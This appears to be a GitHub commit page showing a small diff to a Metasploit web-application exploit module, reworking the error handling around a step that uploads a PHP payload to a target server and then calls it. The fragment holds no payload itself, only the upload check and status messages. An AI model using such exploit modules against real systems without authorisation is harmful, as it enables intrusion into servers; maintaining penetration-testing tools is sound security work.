File tree Expand file tree Collapse file tree 1 file changed +8
-4
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +8
-4
lines changed Original file line number Diff line number Diff line change @@ -57,11 +57,15 @@ def exploit
57
57
'data' => post_data
58
58
} )
59
59
60
- if res && res . code == 200 && res . body =~ /files|#{ php_pagename } /
61
- print_good ( "#{ peer } - Our payload is at: #{ php_pagename } . Calling payload..." )
62
- register_files_for_cleanup ( php_pagename )
60
+ if res
61
+ if res . code == 200 && res . body =~ /files|#{ php_pagename } /
62
+ print_good ( "#{ peer } - Our payload is at: #{ php_pagename } . Calling payload..." )
63
+ register_files_for_cleanup ( php_pagename )
64
+ else
65
+ fail_with ( "#{ peer } - Unable to deploy payload, server returned #{ res . code } " )
66
+ end
63
67
else
64
- fail_with ( " #{ peer } - Unable to deploy payload, server returned #{ res . code } " )
68
+ fail_with ( 'ERROR' )
65
69
end
66
70
67
71
print_status ( "#{ peer } - Calling payload..." )
You can’t perform that action at this time.
0 commit comments